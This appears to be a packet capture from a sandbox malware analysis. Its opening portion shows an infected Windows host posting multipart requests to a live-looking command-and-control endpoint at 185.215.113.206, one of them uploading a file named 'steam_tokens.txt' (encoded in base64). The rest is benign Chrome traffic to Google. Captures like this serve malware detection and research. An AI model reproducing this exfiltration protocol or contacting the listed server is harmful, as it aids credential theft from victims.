Oct 28, 2024 18:43:42.212505102 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"files------CBGCGDBKEGHIEBGDBFHD--
Oct 28, 2024 18:43:42.500740051 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:42.516885996 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"------JKKFIIEBKEGIEBFIJKFI--
Oct 28, 2024 18:43:43.315891027 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:43.359637022 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="message"ybncbhylepme------DHDAKFCGIJKJKFHIDHII--
Oct 28, 2024 18:43:43.647883892 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:43.649029970 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFIEBKEHCAKFCBFIDAAK--
Oct 28, 2024 18:43:44.431165934 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.184.196	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:12 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 17:43:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7KedtsEFVG2aEc8lONV-Xg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 17:43:12 UTC	112	IN	Data Raw: 33 32 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 69 61 6d 69 20 64 6f 6c 70 68 69 6e 73 20 61 72 69 7a 6f 6e 61 20 63 61 72 64 69 6e 61 6c 73 22 2c 22 66 61 6c 6c 20 62 61 63 6b 20 64 61 79 6c 69 67 68 74 20 73 61 76 69 6e 67 73 20 74 69 6d 65 22 2c 22 63 6f 6e 63 6c 61 76 65 20 6d 6f 76 69 65 20 72 65 76 69 65 77 22 2c 22 70 6f 70 Data Ascii: 32b)]}'["",["miami dolphins arizona cardinals","fall back daylight savings time","conclave movie review","pop
2024-10-28 17:43:12 UTC	706	IN	Data Raw: 65 20 66 72 61 6e 63 69 73 20 73 79 6e 6f 64 22 2c 22 77 61 6c 6d 61 72 74 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 32 30 32 34 20 64 65 61 6c 73 22 2c 22 61 6e 69 6d 61 6c 20 63 72 6f 73 73 69 6e 67 20 70 6f 63 6b 65 74 20 63 61 6d 70 20 63 6f 6d 70 6c 65 74 65 22 2c 22 63 69 6e 63 69 6e 6e 61 74 69 20 62 65 6e 67 61 6c 73 20 6e 65 77 73 22 2c 22 66 6f 72 74 6e 69 74 65 20 63 68 61 70 74 65 72 20 32 20 72 65 6d 69 78 20 62 61 74 74 6c 65 20 70 61 73 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 Data Ascii: e francis synod","walmart black friday 2024 deals","animal crossing pocket camp complete","cincinnati bengals news","fortnite chapter 2 remix battle pass"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"Ch
2024-10-28 17:43:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.184.196	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:12 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.184.196	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:12 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 17:43:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 17:43:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 17:43:13 UTC	336	IN	Data Raw: 31 65 37 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e77)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700270,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-28 17:43:13 UTC	581	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-28 17:43:13 UTC	417	IN	Data Raw: 31 39 61 0d 0a 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 65 65 29 72 65 74 75 72 6e 20 61 3b 74 72 79 Data Ascii: 19a};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(!ee)return a;try
